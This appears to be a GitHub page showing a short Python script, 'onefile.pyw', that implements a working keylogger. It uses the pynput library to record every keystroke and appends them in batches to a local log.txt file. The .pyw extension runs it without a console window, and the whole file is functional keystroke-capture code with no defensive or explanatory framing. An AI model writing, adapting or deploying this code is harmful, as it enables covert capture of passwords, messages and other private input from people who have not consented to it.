-
Notifications
You must be signed in to change notification settings - Fork 0
/
onefile.pyw
56 lines (44 loc) · 1.53 KB
/
onefile.pyw
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pynput.keyboard import Key, Listener
def write_file(keys, log_file_name="log.txt", mode="a"):
with open(log_file_name, mode) as f:
for key in keys:
k = str(key).replace("'", "")
if k.find("space") > 0:
f.write(" ")
elif k.find("enter") > 0:
f.write("\n")
else:
f.write(k)
class KeyLogger:
def __init__(self, write=True, keys_to_save=10):
self.__keys = []
self.__count = 0
self.__write = write
self.__keys_to_save = keys_to_save
def run(self):
with Listener(on_press=self.__on_press, on_release=self.__on_release) as listener:
listener.join()
def __on_press(self, key):
self.__register_key(key)
self.__count_key()
print("{0} pressed".format(key))
def __on_release(self, key):
if key == Key.esc:
if self.__count > 0 and self.__write:
write_file(self.__keys)
return False
def __register_key(self, key):
self.__keys.append(key)
def __count_key(self):
self.__count += 1
self.__verify_count_key()
def __verify_count_key(self):
if self.__count >= self.__keys_to_save:
if self.__write: write_file(self.__keys)
self.__clean_keys_and_counts()
def __clean_keys_and_counts(self):
self.__keys = []
self.__count = 0
if __name__ == "__main__":
key_log = KeyLogger(write=True, keys_to_save=2)
key_log.run()